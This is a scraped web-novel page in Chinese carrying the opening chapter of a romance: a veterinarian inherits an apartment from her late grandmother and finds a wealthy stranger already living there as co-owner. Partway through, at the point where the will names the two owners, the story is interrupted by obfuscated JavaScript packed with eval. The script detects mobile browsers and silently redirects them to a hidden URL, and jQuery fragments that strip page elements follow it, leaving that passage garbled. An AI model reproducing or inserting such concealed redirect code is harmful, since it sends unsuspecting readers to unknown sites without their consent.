默认冷灰
24号文字
方正启体

1. 钥匙

作者:陶又本书字数:K更新时间:
    「阿芙,我回国了。」


    科室聚会刚散,梨芙走在街上,霍弋沉的消息跳了出来。


    她略微垂了垂眼,拢紧披在身上的米色羊绒大衣,像瞬间筑起了一道壁垒。接着,目光在“霍弋沉”名字上冷冷一触,随即挪开,没有回复。


    正当她准备把手机放进大衣口袋时,第二条微信紧随而至。


    「给我地址,我来接你回家。」


    梨芙脚步一顿,盯着那句话看了几秒后,指节有些僵硬地划开日历APP,一条标记着猩红“分手”二字的提醒事项映入眼帘,清晰得刺眼。


    她嘴角抿成一条平直的线,扳起手指精准地默数着时间。


    此刻,距离和霍弋沉正式分手,还剩四十八小时。让他再履行一点男友的基本义务,也算合理。


    想到这里,梨芙索性点开定位,指尖一扫,将图标拖到两公里外的兰桂坊,把地址发了过去。


    霍弋沉快步走出机场,司机拉开门,他坐进车里,闭眼深吸了一口气。随着手机震动,他抬手松了松领带,在看清梨芙发来的定位时,眉头倏地压低,迅速敲下字。


    「去酒吧了?感冒完全好了吗?」


    「我四十五分钟到。你跟朋友待一起,我到了你再出来,别着凉。」


    梨芙没回复,跟着导航朝兰桂坊走去。


    到了定位的那家酒吧,她停在门外街灯的光晕里,耐心等待霍弋沉。


    夜风微凉,她伸手捂了捂脸,然后打开包拿护手霜。指尖在柔软的布料里摸索着,忽然,触到了一把冰冷坚硬的钥匙。


    她和霍弋沉这样八竿子打不着的人,会住在一起,开始一段入室抢劫般的短择关系,正是源于这把钥匙。


    而这把钥匙,是她在七个月前收到的。


    那天,梨芙刚为一只卡蛋的乌龟做完难产手术,取出了整整12颗蛋。


    空气里,血与消毒水的气味还萦绕未散,梨芙脱去手术服与手套,走到医院走廊尽头的窗前,拆开一封奇怪的快递。


    寄件人是她的奶奶,一年前去世的奶奶。


    快递纸袋很轻,里面躺着一封薄信和一把钥匙。钥匙圈上,坠着一朵手钩的黄色毛线花。梨芙用掌心托住那朵柔软的小花,然后展开了信纸。


    信纸上有两行歪歪扭扭却巨大的字,笨拙地撑满了整页。


    第一行,「芙芙,这是奶奶留给你的自由。」


    第二行,是遥城的一个地址,详细到楼栋和房号。


    自由?梨芙靠着冰凉的墙壁,若有所思。她那个在家里操劳了一生,长裤改七分裤,一穿就是三十年的奶奶梨淑君,心中竟会有“自由”的概念。甚至还在一线城市遥城,拥有一套高档公寓,这简直不可思议。


    更让她心惊的是,奶奶没把这房子留给亲生儿子,而是悄悄给了她这个毫无血缘关系的养孙女。


    梨芙不敢想,若是被养父母知道这件事,恐怕是把公寓拆成砖,也要一块一块地搬回家。


    为防夜长梦多,仅仅半个月后,梨芙就以近乎跑路的速度,处理完身边所有羁绊,向医院递交了调职遥城的申请。她本不抱期望,已经做好重新找工作的打算,科室主任却通知她,遥城宠物医院总部恰好有空缺,岗位也对口,过去就能入职。


    这一切都来得刚刚好,仿佛为她量身打造,只为将她推回那座对她有着特殊意义的城市。


    于是,她如同挣脱牢笼的鸟,循着地址直奔遥城,顺利找到了那套公寓。


    电梯抵达三十八层,廊厅安静,唯有她的脚步声。


    梨芙停在入户门前,平缓着呼吸,将钥匙插进锁孔,轻轻一转。“咔嗒”一声,门开的瞬间,久违的、充沛到奢侈的阳光扑面而来,将她整个人包裹其中。


    她没住过好房子。十二岁前,她的卧室是阳台,仅靠一扇窗帘隔开客厅和她的床。


    后来,填报志愿时,她决定报外省的医学院,离那个家远一点。可惜刚一提出,就遭到养父母的坚决反对。


    “学医?那得学几年?!兽医也是医,就报本地学校的动物医学专业,早点读完早点赚钱,人不比动物高贵,医谁不是医?”


    话糙理不糙,人确实不比动物高贵。但最终令她屈服的,纯粹是经济原因。所以她上了大学就兼职当家教,毕业后拿到执兽证,找到工作就立刻租房搬了出去。每月看望奶奶两次,每月给养父母转三千生活费,这才勉强逃离了那个“家”。


    紧接着,梨芙抬脚踏入这片奶奶留给她的“自由”。


    然而,脚跟还未放平,视线便撞见了客厅沙发上一道突兀的身影。


    所有的暖意与恍惚瞬间褪去,她脊背绷直,声音带着下意识的警惕。


    “你是?”


    回应她的,是那道陷在沙发里岿然不动的身影。


    霍弋沉连眼皮都没抬,手指一掀,不徐不疾地翻过书页。十余分钟后,他读完最后一行,将书搁下,这才从逆光的阴影中站起身。


    他朝一直僵在玄关处的梨芙走来,身形颀长,步履无声,如同一片极具压迫感的黑雨。


    梨芙穿着一条杏仁色的平领过膝裙,整个人很“规矩”地站在原地。她不是一眼惊艳的长相,但清清爽爽极有辨识度,是在人堆里会忍不住多看两眼那种。


    这感觉就像你面对一杯莫吉托,明知主角是酒,却无法忽视杯口那片薄荷叶一样。


    “你好,”霍弋沉伸出手,漠然的眉眼里渐渐勾起笑,“请进。”


    梨芙缓慢地眨了下眼,细密纤长的睫毛下,盖着一双透亮的茶褐色眼珠。她注视着霍弋沉悬在半空的手,突然想起了这个人。


    她见过他。一年前,在奶奶那场冷清的葬礼上。


    当时细雨霏霏,梨芙办理完骨灰登记手续,回到葬礼现场时,隔着人群看见他撑着一柄黑伞,正要离开。


    他的臂上赫然戴着一朵刺目的白花。按照习俗,那是家人才能佩戴的标记。


    见状,梨芙低声询问养父:“这个人是谁?”


    换来的只是一句不耐烦的嘟囔,养父撇起嘴:“管他是谁,帛金给没给?”


    “给了。”梨芙远远就看见养母抢步上前,接过了那个厚得异乎寻常的白包。由此可见,这个人和奶奶一定关系匪浅。


    那时的她,被奶奶去世的巨大悲恸淹没,无暇去深究一个陌生人的来历。很快,她就将这张脸抛诸脑后了。


    没想到,竟会在这里再次见到这个人。而他还说“请进”,宛如主人般的口吻。


    “这位先生,你怎么会在我的房子里?”梨芙提起行李箱侧身而入,无视他停滞的手,光着脚径直踏上地板。


    霍弋沉从容地收回手,关上门,从鞋柜里取出一双崭新的米色拖鞋,走到她身边,俯身放下。


    “这是我的房子。”


    梨芙瞥了一眼那双鞋,与他脚上的灰色拖鞋是同一款式。但光脚踩在地板上的确很凉,她没多犹豫,穿上了鞋。


    片刻后,冷静地反驳:“这是我奶奶的房子。”


    “对。”霍弋沉在她身旁坐下,“你奶奶留给我们的房子。”


    “我们?”


    “我们。”


    “……我们?”梨芙的心猛地一沉,近乎本能的直觉告诉她,尽管这很荒谬,但这个男人没撒谎。


    霍弋沉手一抬,从书柜里取来一份公证文件,在她面前摊开。上面遗嘱条款清晰明确,特别是房产产权的归属栏里,并列写着两个名字。


    [梨芙、霍弋


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999296|193946||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    沉]


    梨芙指尖擦过名字,缓缓抬眸,审视着近在咫尺的人。


    “所以,你是?”


    “霍弋沉。”他应道,随即拿出身份证递到梨芙眼前,动作干脆得像早已准备好似的。


    梨芙是个极其注重效率的人,她不在无法改变的事情上浪费时间和精力,所以她异常平静地接受了这个事实。还安慰自己,一套房子变半套房子,也是天上掉下来的馅饼,总好过没有。


    下一瞬,她将身份证还给霍弋沉,问道:“你和我奶奶,是什么关系?”


    “网友。”


    “网友?”梨芙逸出一声轻嗤。


    她的奶奶连手机都摆弄不明白,常常把接听键按成挂断,哪里会有网友?但她不急于戳破这个显而易见的谎言,她有更紧迫的问题需要确认。


    “霍弋沉,你很有钱,对吗?”


    她的目光掠过霍弋沉剪裁考究的衣着,又联想到葬礼上那个厚得扎眼的帛金包。


    霍弋沉微一颔首:“嗯。”


    “那……如果你的东西被人盯上了,有人想抢,”梨芙向前倾了倾身,声音压低,“你会怎么做?”


    “我的东西,”霍弋沉语调冷冽,眼睛紧紧盯着梨芙,“没人能动。”


    “太好了!”


    这句话像一颗定心丸,梨芙悬着的心落回了实处。即便她那对养父母以后知道了遗嘱,闻着味找来逼她让出房子,也绝对奈何不了有钱有势的霍弋沉。


    这房子,能保住了。


    “太好了?”霍弋沉思忖着她的话。


    “这位网友,”梨芙神色缓和下来,开始有闲心环顾这间装修雅致、视野开阔的一百平公寓,“你打算住这里吗?”


    在今天以前,霍弋沉从未想过自己会住进如此局促简陋的地方。此刻破天荒地觉得,换换口味也不错,正好最近生活无趣。


    “嗯。”他用指节有一下没一下地轻叩着书的封面,“偶尔。”


    梨芙看了一眼那两间并排的卧室,干脆利落地回应:“好。你有什么生活习惯?我们可以提前说清楚,互相尊重。”


    “好?你接受得倒是痛快。”霍弋沉有些意外地挑眉,站起身,“我可是男的。”


    梨芙也随之起身,视线自上而下地打量着霍弋沉那张出众的脸,唇角一勾:“奶奶送我半套房子,还附赠一个漂亮男人,我为什么不接受?”


    况且,养父母迟早会找上门来,到时候她还需要霍弋沉这个现成的挡箭牌。再说了,同一屋檐下而已,又不代表要睡一起。


    但,霍弋沉显然有所误会。


    “现在看来,两间卧室有点多余。”霍弋沉顺势推开留给她那间主卧的门,让她参观。


    梨芙大致看了一圈,然后倚在门框上,笑得意味深长。


    “不多余,否则我怕吓到你。”


    “吓到我?”


    “我经常做梦。”


    “哪种梦?”霍弋沉站在她身前,垂眸看她,也笑得意味深长。


    “我是兽医,有一个职业习惯。第二天要做的手术,我会在脑子里预演一遍,时常睡着了也会梦到手术流程。”


    霍弋沉手撑着门框,近一米九的身影笼罩着她:“那你今晚准备梦什么手术?”


    梨芙仰起脸笑了笑,语气轻松得像在讨论今天的天气。


    “给狗狗绝育。”


    呼吸之间,某种既轻松又紧张的气息在无声碰撞。


    霍弋沉默然片刻,忽然认真地问:“你做梦时,手里不会恰巧拿着手术刀吧?”


    “放心,”她晃晃食指,带着专业医生的笃定说道,“医疗器械不能带回家。”


    霍弋沉眼底的审慎散去:“以后,我会期待你的梦。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)